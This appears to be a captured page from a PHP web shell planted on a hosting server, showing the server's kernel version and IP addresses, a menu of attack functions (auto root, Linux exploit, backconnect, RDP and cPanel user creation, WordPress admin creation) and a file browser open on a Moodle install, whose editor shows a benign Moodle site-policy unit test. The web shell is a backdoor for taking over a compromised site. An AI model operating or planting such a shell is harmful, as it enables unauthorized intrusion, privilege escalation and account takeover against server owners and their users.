Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.46
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
privacy /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
fixtures
[ DIR ]
drwxr-xr-x
approved_contextlist_test.php
2.16
KB
-rw-r--r--
approved_userlist_test.php
3.42
KB
-rw-r--r--
collection_test.php
7.01
KB
-rw-r--r--
contextlist_base_test.php
8.99
KB
-rw-r--r--
contextlist_collection_test.ph...
6.26
KB
-rw-r--r--
contextlist_test.php
6.63
KB
-rw-r--r--
coverage.php
1.79
KB
-rw-r--r--
legacy_polyfill_test.php
9.72
KB
-rw-r--r--
manager_test.php
21.26
KB
-rw-r--r--
moodle_content_writer_test.php
61.9
KB
-rw-r--r--
provider_test.php
12.29
KB
-rw-r--r--
request_helper_test.php
7.8
KB
-rw-r--r--
request_transform_test.php
4.08
KB
-rw-r--r--
sitepolicy_test.php
15.09
KB
-rw-r--r--
tests_content_writer_test.php
21.15
KB
-rw-r--r--
types_database_table_test.php
4.51
KB
-rw-r--r--
types_external_location_test.p...
4.53
KB
-rw-r--r--
types_plugintype_link_test.php
3.61
KB
-rw-r--r--
types_subsystem_link_test.php
3.6
KB
-rw-r--r--
types_user_preference_test.php
3.46
KB
-rw-r--r--
userlist_base_test.php
7.72
KB
-rw-r--r--
userlist_collection.php
5.56
KB
-rw-r--r--
userlist_test.php
2.94
KB
-rw-r--r--
writer_test.php
3.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sitepolicy_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit Tests for sitepolicy manager * * @package core_privacy * @category test * @copyright 2018 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; /** * Unit Tests for sitepolicy manager * * @package core_privacy * @category test * @copyright 2018 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class sitepolicy_test extends advanced_testcase { /** * Tests for \core_privacy\local\sitepolicy\manager::get_handler_classname() behaviour. */ public function test_get_handler_classname() { global $CFG; $this->resetAfterTest(true); $manager = $this->get_mock_manager_with_handler(); // If no handler is specified, then we should get the default one. $CFG->sitepolicyhandler = ''; $this->assertEquals($manager->get_handler_classname(), \core_privacy\local\sitepolicy\default_handler::class); // If non-existing handler is specified, we should get the default one too. $CFG->sitepolicyhandler = 'non_existing_plugin_which_i_really_hope_will_never_exist'; $this->assertEquals($manager->get_handler_classname(), \core_privacy\local\sitepolicy\default_handler::class); // If the defined handler is among known handlers, we should get its class name. $CFG->sitepolicyhandler = 'testtool_testhandler'; $this->assertEquals($manager->get_handler_classname(), 'mock_sitepolicy_handler'); } /** * Tests for \core_privacy\local\sitepolicy\manager::is_defined() */ public function test_is_defined() { global $CFG; $this->resetAfterTest(true); $manager = new \core_privacy\local\sitepolicy\manager(); $this->assertFalse($manager->is_defined(true)); $this->assertFalse($manager->is_defined(false)); $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $this->assertFalse($manager->is_defined(true)); $this->assertTrue($manager->is_defined(false)); $CFG->sitepolicyguest = 'http://example.com/sitepolicyguest.html'; $this->assertTrue($manager->is_defined(true)); $this->assertTrue($manager->is_defined(false)); $CFG->sitepolicy = null; $this->assertTrue($manager->is_defined(true)); $this->assertFalse($manager->is_defined(false)); // When non existing plugin is set as $CFG->sitepolicyhandler, assume that $CFG->sitepolicy* are all not set. $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $CFG->sitepolicyguest = 'http://example.com/sitepolicyguest.html'; $CFG->sitepolicyhandler = 'non_existing_plugin_which_i_really_hope_will_never_exist'; $this->assertFalse($manager->is_defined(true)); $this->assertFalse($manager->is_defined(false)); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() */ public function test_get_redirect_url() { global $CFG; $this->resetAfterTest(true); $manager = new \core_privacy\local\sitepolicy\manager(); $this->assertEquals(null, $manager->get_redirect_url(true)); $this->assertEquals(null, $manager->get_redirect_url(false)); $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $this->assertEquals(null, $manager->get_redirect_url(true)); $this->assertEquals($CFG->wwwroot.'/user/policy.php', $manager->get_redirect_url(false)->out(false)); $CFG->sitepolicyguest = 'http://example.com/sitepolicyguest.html'; $this->assertEquals($CFG->wwwroot.'/user/policy.php', $manager->get_redirect_url(true)->out(false)); $this->assertEquals($CFG->wwwroot.'/user/policy.php', $manager->get_redirect_url(false)->out(false)); $CFG->sitepolicy = null; $this->assertEquals($CFG->wwwroot.'/user/policy.php', $manager->get_redirect_url(true)->out(false)); $this->assertEquals(null, $manager->get_redirect_url(false)); // When non existing plugin is set as $CFG->sitepolicyhandler, assume that $CFG->sitepolicy* are all not set. $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $CFG->sitepolicyguest = 'http://example.com/sitepolicyguest.html'; $CFG->sitepolicyhandler = 'non_existing_plugin_which_i_really_hope_will_never_exist'; $this->assertEquals(null, $manager->get_redirect_url(true)); $this->assertEquals(null, $manager->get_redirect_url(false)); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() */ public function test_get_embed_url() { global $CFG; $this->resetAfterTest(true); $manager = new \core_privacy\local\sitepolicy\manager(); $this->assertEquals(null, $manager->get_embed_url(true)); $this->assertEquals(null, $manager->get_embed_url(false)); $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $this->assertEquals(null, $manager->get_embed_url(true)); $this->assertEquals($CFG->sitepolicy, $manager->get_embed_url(false)->out(false)); $CFG->sitepolicyguest = 'http://example.com/sitepolicyguest.html'; $this->assertEquals($CFG->sitepolicyguest, $manager->get_embed_url(true)->out(false)); $this->assertEquals($CFG->sitepolicy, $manager->get_embed_url(false)->out(false)); $CFG->sitepolicy = null; $this->assertEquals($CFG->sitepolicyguest, $manager->get_embed_url(true)->out(false)); $this->assertEquals(null, $manager->get_embed_url(false)); // When non existing plugin is set as $CFG->sitepolicyhandler, assume that $CFG->sitepolicy* are all not set. $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $CFG->sitepolicyguest = 'http://example.com/sitepolicyguest.html'; $CFG->sitepolicyhandler = 'non_existing_plugin_which_i_really_hope_will_never_exist'; $this->assertEquals(null, $manager->get_embed_url(true)); $this->assertEquals(null, $manager->get_embed_url(false)); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() */ public function test_accept() { global $CFG, $USER, $DB; $this->resetAfterTest(true); $manager = new \core_privacy\local\sitepolicy\manager(); // No site policy. $user1 = $this->getDataGenerator()->create_user(); $this->setUser($user1); $this->assertFalse($manager->accept()); $this->assertEquals(0, $USER->policyagreed); // With site policy. $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $user2 = $this->getDataGenerator()->create_user(); $this->setUser($user2); $this->assertEquals(0, $USER->policyagreed); $this->assertEquals(0, $DB->get_field('user', 'policyagreed', ['id' => $USER->id])); $this->assertTrue($manager->accept()); $this->assertEquals(1, $USER->policyagreed); $this->assertEquals(1, $DB->get_field('user', 'policyagreed', ['id' => $USER->id])); // When non existing plugin is set as $CFG->sitepolicyhandler, assume that $CFG->sitepolicy* are all not set. $CFG->sitepolicy = 'http://example.com/sitepolicy.html'; $CFG->sitepolicyhandler = 'non_existing_plugin_which_i_really_hope_will_never_exist'; $user3 = $this->getDataGenerator()->create_user(); $this->setUser($user3); $this->assertEquals(0, $USER->policyagreed); $this->assertFalse($manager->accept()); $this->assertEquals(0, $USER->policyagreed); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() for guests */ public function test_accept_guests() { global $CFG, $USER, $DB; $this->resetAfterTest(true); $manager = new \core_privacy\local\sitepolicy\manager(); $this->setGuestUser(); // No site policy. $this->assertFalse($manager->accept()); $this->assertEquals(0, $USER->policyagreed); // With site policy. $CFG->sitepolicyguest = 'http://example.com/sitepolicy.html'; $this->assertEquals(0, $USER->policyagreed); $this->assertTrue($manager->accept()); $this->assertEquals(1, $USER->policyagreed); $this->assertEquals(0, $DB->get_field('user', 'policyagreed', ['id' => $USER->id])); // When non existing plugin is set as $CFG->sitepolicyhandler, assume that $CFG->sitepolicy* are all not set. $USER->policyagreed = 0; // Reset. $CFG->sitepolicyguest = 'http://example.com/sitepolicyguest.html'; $CFG->sitepolicyhandler = 'non_existing_plugin_which_i_really_hope_will_never_exist'; $this->assertFalse($manager->accept()); $this->assertEquals(0, $USER->policyagreed); } /** * Helper to spoof the results of the internal function get_all_handlers, allowing mock handler to be tested. * * @return PHPUnit_Framework_MockObject_MockObject */ protected function get_mock_manager_with_handler() { global $CFG; require_once($CFG->dirroot.'/privacy/tests/fixtures/mock_sitepolicy_handler.php'); $mock = $this->getMockBuilder(\core_privacy\local\sitepolicy\manager::class) ->setMethods(['get_all_handlers']) ->getMock(); $mock->expects($this->any()) ->method('get_all_handlers') ->will($this->returnValue(['testtool_testhandler' => 'mock_sitepolicy_handler'])); return $mock; } /** * Tests for \core_privacy\local\sitepolicy\manager::is_defined() with a handler */ public function test_is_defined_with_handler() { global $CFG; $this->resetAfterTest(true); $CFG->sitepolicyhandler = 'testtool_testhandler'; $manager = $this->get_mock_manager_with_handler(); $this->assertTrue($manager->is_defined(true)); $this->assertTrue($manager->is_defined(false)); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() with a handler */ public function test_get_redirect_url_with_handler() { global $CFG; $this->resetAfterTest(true); $CFG->sitepolicyhandler = 'testtool_testhandler'; $manager = $this->get_mock_manager_with_handler(); $this->assertEquals('http://example.com/policy.php', $manager->get_redirect_url(true)->out(false)); $this->assertEquals('http://example.com/policy.php', $manager->get_redirect_url(false)->out(false)); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() with a handler */ public function test_get_embed_url_with_handler() { global $CFG; $this->resetAfterTest(true); $CFG->sitepolicyhandler = 'testtool_testhandler'; $manager = $this->get_mock_manager_with_handler(); $this->assertEquals('http://example.com/view.htm', $manager->get_embed_url(true)->out(false)); $this->assertEquals('http://example.com/view.htm', $manager->get_embed_url(false)->out(false)); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() with a handler */ public function test_accept_with_handler() { global $CFG, $USER, $DB; $this->resetAfterTest(true); $CFG->sitepolicyhandler = 'testtool_testhandler'; $manager = $this->get_mock_manager_with_handler(); $user2 = $this->getDataGenerator()->create_user(); $this->setUser($user2); $this->assertEquals(0, $USER->policyagreed); $this->assertEquals(0, $DB->get_field('user', 'policyagreed', ['id' => $USER->id])); $this->assertTrue($manager->accept()); $this->assertEquals(2, $USER->policyagreed); $this->assertEquals(2, $DB->get_field('user', 'policyagreed', ['id' => $USER->id])); } /** * Tests for \core_privacy\local\sitepolicy\manager::get_redirect_url() for guests with a handler */ public function test_accept_guests_with_handler() { global $CFG, $USER, $DB; $this->resetAfterTest(true); $CFG->sitepolicyhandler = 'testtool_testhandler'; $manager = $this->get_mock_manager_with_handler(); $this->setGuestUser(); $this->assertEquals(0, $USER->policyagreed); $this->assertTrue($manager->accept()); $this->assertEquals(2, $USER->policyagreed); $this->assertEquals(0, $DB->get_field('user', 'policyagreed', ['id' => $USER->id])); } } /** * Mock handler for site policies * * @package core_privacy * @copyright 2018 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class handler extends \core_privacy\local\sitepolicy\handler { /** * Checks if the site has site policy defined * * @param bool $forguests * @return bool */ public static function is_defined($forguests = false) { return true; } /** * Returns URL to redirect user to when user needs to agree to site policy * * This is a regular interactive page for web users. It should have normal Moodle header/footers, it should * allow user to view policies and accept them. * * @param bool $forguests * @return moodle_url|null (returns null if site policy is not defined) */ public static function get_redirect_url($forguests = false) { return 'http://example.com/policy.php'; } /** * Returns URL of the site policy that needs to be displayed to the user (inside iframe or to use in WS such as mobile app) * * This page should not have any header/footer, it does not also have any buttons/checkboxes. The caller needs to implement * the "Accept" button and call {@link self::accept()} on completion. * * @param bool $forguests * @return moodle_url|null */ public static function get_embed_url($forguests = false) { return 'http://example.com/view.htm'; } /** * Accept site policy for the current user * * @return bool - false if sitepolicy not defined, user is not logged in or user has already agreed to site policy; * true - if we have successfully marked the user as agreed to the site policy */ public static function accept() { global $USER, $DB; // Accepts policy on behalf of the current user. We set it to 2 here to check that this callback was called. $USER->policyagreed = 2; if (!isguestuser()) { $DB->update_record('user', ['policyagreed' => 2, 'id' => $USER->id]); } return true; } }
Close